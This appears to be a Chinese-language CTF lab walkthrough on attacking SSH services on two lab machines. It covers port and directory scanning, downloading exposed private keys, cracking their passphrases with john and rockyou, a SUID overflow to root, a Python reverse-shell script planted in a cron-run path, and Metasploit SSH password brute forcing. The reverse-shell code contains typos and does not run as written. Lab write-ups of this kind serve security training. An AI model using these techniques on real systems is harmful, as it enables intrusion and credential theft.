SSH服务的渗透测试

目录

一,ssh私钥泄露

充电站:

二,ssh 服务测试(暴力破解)

充电站:


一,ssh私钥泄露

靶场:192.168.11.166

1,信息嗅探

对于一个给定的ip得知的靶场机器,我们需要用对其进行扫描,探测开放的服务。(渗透其实是针对服务的漏洞进行探测,然后对应的数据包发送,获取机器的最高权限)

nmap -sV 192.168.11.166       //挖掘开放服务信息

看到一个开放的一个特殊的端口31337

SSH服务的渗透测试_第1张图片

2,分析探测结果

每个服务对应着不同的端口,用来进行通信。常用的端口为 0~1023,在扫描结果中尤其注意那些特殊的端口

针对特殊的端口进行探测,尤其对开发的大端口的http服务进行排查;

 

浏览器访问 192.168.11.166:31337, 是空白页 ,查看页面源代码,没有flag信息

 

进一步探测,端口下的隐藏文件

dirb http://192.168.11.166:31337/            //探测隐藏文件

SSH服务的渗透测试_第2张图片

有收获

打开robots.txt:

SSH服务的渗透测试_第3张图片

打开 taxes文件 ,发现flag1

SSH服务的渗透测试_第4张图片

打开 .ssh文件:

SSH服务的渗透测试_第5张图片

ssh服务,通过ssh服务客户端可以远程登录到服务端,实现远程操作,

打开  http://192.168.11.166:31337/.ssh/id_rsa          发现可以下载私钥 id_rsa

http://192.168.11.166:31337/.ssh/authorized_keys     下载 认证关键字文件

为方便操作 将这两个文件移动到桌面上

3,利用私钥文件登录靶场

首先 把私钥文件的权限改为  600

chmod 600 id_rsa

打开 认证字关键字文件 authorized_keys  找用户名,用户名为 simon

SSH服务的渗透测试_第6张图片

利用私钥文件登录:

ssh -i id_rsa [email protected]

让输入密码:

4,解密 ssh秘钥信息

先使用 ssh2john 将id_rsa秘钥信息转换为john可以识别的信息:

ssh2john id_rsa > rsacrack

bash: ssh2john 命令未找到

root@kali:~# locate ssh2john            //找ssh2john 文件路径
/usr/share/john/ssh2john.py

python /usr/share/john/ssh2john.py  id_rsa > rsacrack

利用字典解密rsacrack 的信息

zcat /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules rsacrack

找到密码为 starwars

SSH服务的渗透测试_第7张图片

登录 :

ssh -i id_rsa [email protected]

SSH服务的渗透测试_第8张图片

4,深入探测 根目录

切换到根目录,发现了两个文件,访问flag.txt文件时,发现需要root权限,

查看具有root权限的文件

find / -perm -4000 2>/dev/null


后面的 2>dev/null 是避免在查询中出错的

 

访问read_message文件

发现哟端倪:看到了第二个 flag2

大致意思: 如果输入的 字符串 的前五个字符 跟 Simon 相同的 就执行 

execve(program,null,null) 执行 usr/local/sbin/message

输入Simonaaaaaa 后给了一些提示

 

5. 提升权限

那溢出之后 会不会执行我们溢出后的命令呢??

试一下:输入 Simonaaaaaaaaaaaaaaa/bin/sh  使程序溢出,从而执行跳转到/bin/sh下

我们真的提升了权限,成为了root权限

然后打开flag.txt文件 得到 flag3:

SSH服务的渗透测试_第9张图片

 

充电站:

1,nmap 的常用的几个命令:

获取远程主机的系统类型及开放端口

nmap -sS -P0 -sV -O 

这里的 < target > 可以是单一 IP, 或主机名,或域名,或子网

-sS TCP SYN 扫描 (又称半开放,或隐身扫描)
-P0 允许你关闭 ICMP pings.
-sV 打开系统版本检测
-O 尝试识别远程操作系统

其它选项:

-A 同时打开操作系统指纹和版本检测
-v 详细输出扫描情况.

一般使用,进行探测:

nmap -sV  IP

 在网络寻找所有在线主机

nmap -sP 192.168.0.*

或者也可用以下命令:

nmap -sP 192.168.0.0/24

2,什么是ssh? 认证原理?登录方式?

什么是ssh?

SSH 是目前较可靠,专为远程登录会话和其他网络服务提供安全性的协议。利用 SSH 协议可以有效防止远程管理过程中的信息泄露问题

认证原理?

认证开始后会有一个设定好的顺序例如publickey,gssapi-keyex,gssapi-with-mic,password 首先用publickey的方式即秘钥认证,如果秘钥认证通过的话将不进行使用密码的口令认证,如果秘钥认证失败则使用口令认证。

我们如果想要免去用户名密码登陆可以使用秘钥认证的方式。

登录方式:

1,账号+ 口令

如果是第一次登录对方主机,这段话的意思是,无法确认host主机的真实性,只知道它的公钥指纹,问你还想继续连接吗?

 $ ssh user@host

  The authenticity of host 'host (12.18.429.21)' can't be established.

  RSA key fingerprint is 98:2e:d7:e0:de:9f:ac:67:28:c2:42:2d:37:16:58:4d.

  Are you sure you want to continue connecting (yes/no)? yes

然后,会要求输入口令。(这里要求输入的口令实际上是使用私钥的口令,并不是登录的口令)

  Password: (enter password):如果口令正确,就可以登录了。

2,公钥 + 私钥

使用公钥登录

使用密码登录,每次都必须输入密码,非常麻烦。好在SSH还提供了公钥登录,可以省去输入密码的步骤。

所谓"公钥登录",原理很简单,就是用户将自己的公钥储存在远程主机上。登录的时候,远程主机会向用户发送一段随机字符串,用户用自己的私钥加密后,再发回来。远程主机用事先储存的公钥进行解密,如果成功,就证明用户是可信的,直接允许登录shell,不再要求密码。

这种方法要求用户必须提供自己的公钥。

使用私钥登录(需要输入 密码,不过密码可以用 john将 私钥中的密码解密出来)

ssh -i id_rsa user@host

Enter passphrase for key 'id_rsa':  密码正确就能登录成功

使用  zcat /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules rsacrack
爆破出私钥中密码


3,dirb命令

dirb是一个类似windows下御剑这些目录扫描工具,

dirb  ip     字典路径

一般不需要指定字典,会使用默认字典,我们也自定义字典

默认字典路径

/usr/share/dirb/wordlists/indexes.txt

wordlists 目录下还有好几个字典可以使用

除此之外还要一款kali自带的目录扫描工具

DirBuster
DirBuster是一个多线程java应用程序,旨在强制Web /应用程序服务器上的目录和文件名。DirBuster总共有9个不同的列表; 这使得DirBuster在查找隐藏文件和目录方面非常有效。

同样打开终端并键入Dirbuster,然后输入目标URL,如下图所示,并浏览/ usr / share / dirbuster / wordlis / directory-list-2-3-medium.txt进行暴力攻击。

4,zcat命令

zcat命令用于不真正解压缩文件,就能显示压缩包中文件的内容的场合。

-S:指定gzip格式的压缩包的后缀。当后缀不是标准压缩包后缀时使用此选项;
-c:将文件内容写到标注输出;
-d:执行解压缩操作;
-l:显示压缩包中文件的列表;
-L:显示软件许可信息;
-q:禁用警告信息;
-r:在目录上执行递归操作;
-t:测试压缩文件的完整性;
-V:显示指令的版本信息;
-l:更快的压缩速度;
-9:更高的压缩比。

本题中使用到的命令:

zcat /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules rsacrack

5,john常用命令   (保存字典的目录: /usr/share/john/)

John the Ripper免费的开源软件,是一个快速的密码破解工具,用于在已知密文的情况下尝试破解出明文的破解密码软件,支持目前大多数的加密算法,如DES、MD4、MD5等。它支持多种不同类型的系统架构,包括Unix、Linux、Windows、DOS模式、BeOS和OpenVMS,主要目的是破解不够牢固的Unix/Linux系统密码。

       1,破解shadow文件(shadow文件用于储存linux中加密后的密码)

john shadow 


也可以指定 字典

john --wordlist=/usr/share/john/password.lst  shadow

        2, 提取ssh 私钥里面的密码:

先将文件转换为 john可以执行的文件

python /usr/share/john/ssh2john.py  id_rsa > rsacrack
zcat /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules rsacrack

         3,keepass2数据库密码

先将加密文件转为john可以执行的文件

python /usr/share/john/keeppass2john.py  newdb.kdb > crack
zcat /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules crack

          4, rar 提取密码

先将加密文件转为john可以执行的文件

python /usr/share/john/rar2john.py  encrypted.rar > crack
zcat /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules crack

 

二,ssh 服务测试(暴力破解)

 

探测靶场开放的服务于服务的版本:

nmap -sV  192.168.1.106

SSH服务的渗透测试_第10张图片

用浏览器访问 192.168.1.106:看到了一个疑似ssh用户名的 username: martin

以及另外的几个人名:hadi 、jimmy

SSH服务的渗透测试_第11张图片

使用dirb进行目录探测:

dirb http://192.168.1.106

SSH服务的渗透测试_第12张图片

找了几个目录文件,访问 icons 目录:看到一个奇怪名字的文件,打开发现是ssh的私钥

SSH服务的渗透测试_第13张图片

保存martin用户的ssh私钥

wget "http://192.168.1.106/icons/VDSoyuAXiO.txt"

重命名

mv VDSoyuAXiO.txt id_rsa

将私钥文件的权限修改为 600:

chmod 600 id_rsa

登录靶场:

ssh -i id_rsa [email protected]

成功登入(这里没有要密码,随后解释)

SSH服务的渗透测试_第14张图片

查看有哪些用户名:发现有 hadi 、jimmy、martin

SSH服务的渗透测试_第15张图片

查看当前用户权限:

可以看到不是root权限

我的习惯是先去找flag文件,如果打不开再去提权、

我们切换到/root 目录下看看,ls -al 发现了flag.txt文件,但没有权限,打不开

接下来的工作就是提权了

首先查看一下 当前用户是否有定时执行的文件:

SSH服务的渗透测试_第16张图片

最后一条,是用户 jummy 设定的定时执行 sekurity.py 文件的定时 任务

切换到 他指定的目录,发现并没有 sekurity.py 文件,

我们可以创建一个 反弹shell 文件,从而提升到root权限:

#!/usr/bin/python

import os,subprodess,socket

s = socket.socekt(socker.AF_INET,socker.SOCK_STREAM)

s.connect("192.168.1.106","4445")

os.dup2(s.fileno(),0)

os.dup2(s.fileno(),1)

os.dup2(s.fileno(),2)

p = subprocess.call(["/bin/sh","-i"])

把文件名改为 sekurity.py  

等待该文件自动被执行

查看监听端口的情况,发现 反弹shell代码已经被执行了:
SSH服务的渗透测试_第17张图片

可以看到 jimmy 用户 也是没有root权限的

所以不能 直接 用  su - root 进行提权

 

既然前两个用户都没有 root 权限,那第三个用户大概率有root权限

 

接下来,致力于破解第三个用户 hadi 的口令

使用metasploit 破解SSH

SSH服务的渗透测试_第18张图片

启动:

msfconsole

启动 ssh_login模块:

use auxiliary/scanner/ssh/ssh_login
show options

设置参数:

set rhosts 192.168.1.106

set username hadi

set pass_file /root/download/common-password/hadi.txt    //设置字典

set thread 10

show options

run

最终破解出口令是: hadi123

登录;

SSH服务的渗透测试_第19张图片

优化命令终端:

python -c "import pty; pty.spawn('/bin/bash')"

具有roo权限,可以提权为root

su - root


输入密码: hadi123

读取 /root/flag.txt 文件得到flag:

SSH服务的渗透测试_第20张图片

充电站:

1,为什么用ssh的秘钥登录时有时候需要输入口令,有时候不需要输入口令?

这是因为用户在创建私钥的时候,为保证私钥的安全,对私钥设置了口令,输入的口令实际上是私钥的口令,

ssh默认是使用用户本地的 ~/.ssh/id_rsa 这个秘钥(私钥)登录的,

我们可以使用 -i  来指定秘钥进行登录

更详细的 SSH的登录方式,看我总结的另一篇博文:

2,metasploit工具:

简单介绍一下 metasploit工具:

Metasploit是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报。这些功能包括智能开发,代码审计,Web应用程序扫描,社会工程。团队合作,在Metasploit和综合报告提出了他们的发现。

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

你可能感兴趣的:(web渗透)